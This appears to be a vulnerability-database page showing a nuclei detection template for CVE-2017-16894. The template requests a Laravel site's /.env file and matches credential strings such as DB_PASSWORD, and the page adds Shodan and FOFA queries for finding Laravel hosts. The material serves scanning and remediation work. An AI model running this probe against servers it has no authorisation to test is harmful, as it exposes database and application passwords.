Lucene search
+L

Laravel <5.5.21 - Information Disclosure

🗓️ 22 Oct 2026 02:06:49Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 167 Views

Laravel <5.5.21 - Information Disclosure. Sensitive information such as passwords can be obtained via direct request for /.env URI. CVE-2017-1689

Related
Refs
Code
ReporterTitlePublishedViews
Family
zdt
zdt
PHP Laravel Framework Token Unserialize Remote Command Execution Exploit
15 Jul 201900:00
–zdt
attackerkb
attackerkb
Laravel Framework Unserialize Token RCE (CVE-2018-15133)
9 Aug 201800:00
–attackerkb
circl
Circl
CVE-2017-16894
12 Jul 201914:46
–circl
cnvd
CNVD
Laravel framework information disclosure vulnerability
20 Nov 201700:00
–cnvd
cve
CVE
CVE-2017-16894
20 Nov 201701:00
–cve
cvelist
Cvelist
CVE-2017-16894
20 Nov 201701:00
–cvelist
debiancve
Debian CVE
CVE-2017-16894
20 Nov 201701:00
–debiancve
exploitdb
Exploit DB
PHP Laravel Framework 5.5.40 / 5.6.x < 5.6.30 - token Unserialize Remote Command Execution (Metasploit)
16 Jul 201900:00
–exploitdb
kittysploit
KittySploit
Laravel <5.5.21 - Information Disclosure Detection
28 Jul 202611:27
–kittysploit
mend
Mend
CVE-2017-16894
20 Nov 201701:00
–mend
Rows per page
id: CVE-2017-16894

info:
  name: Laravel <5.5.21 - Information Disclosure
  author: j4vaovo
  severity: high
  description: |
    Laravel through 5.5.21 is susceptible to information disclosure. An attacker can obtain sensitive information such as externally usable passwords via a direct request for the /.env URI. NOTE: CVE pertains only to the writeNewEnvironmentFileWith function in src/Illuminate/Foundation/Console/KeyGenerateCommand.php, which uses file_put_contents without restricting .env permissions. The .env filename is not used exclusively by Laravel.
  impact: |
    An attacker can exploit this vulnerability to gain sensitive information from the application.
  remediation: |
    Upgrade Laravel to version 5.5.21 or higher to fix the information disclosure vulnerability.
  reference:
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-16894
    - https://packetstormsecurity.com/files/cve/CVE-2017-16894
    - http://whiteboyz.xyz/laravel-env-file-vuln.html
    - https://twitter.com/finnwea/status/967709791442341888
    - https://nvd.nist.gov/vuln/detail/CVE-2017-16894
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2017-16894
    cwe-id: CWE-200
    epss-score: 0.86916
    epss-percentile: 0.99748
    cpe: cpe:2.3:a:laravel:laravel:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: laravel
    product: laravel
    shodan-query:
      - Laravel-Framework
      - cpe:"cpe:2.3:a:laravel:laravel"
      - laravel-framework
    fofa-query:
      - app="Laravel-Framework"
      - app="laravel-framework"
  tags: cve,cve2017,laravel,exposure,packetstorm,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/.env"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "APP_NAME="
          - "APP_DEBUG="
          - "DB_PASSWORD="
        condition: and

      - type: word
        part: header
        words:
          - "application/octet-stream"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022017858a9d35c6ee8ba6b5d50468572ae9775564886670c117a7d11fd02b27ad06022100b22608b2e541c98890a764d7fd0c72884b253b9452e700bf2984a9299a6dee23:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

04 Feb 2026 07:00Current
7.3High risk
Vulners AI Score7.3
CVSS 25
CVSS 37.5
EPSS0.86916
167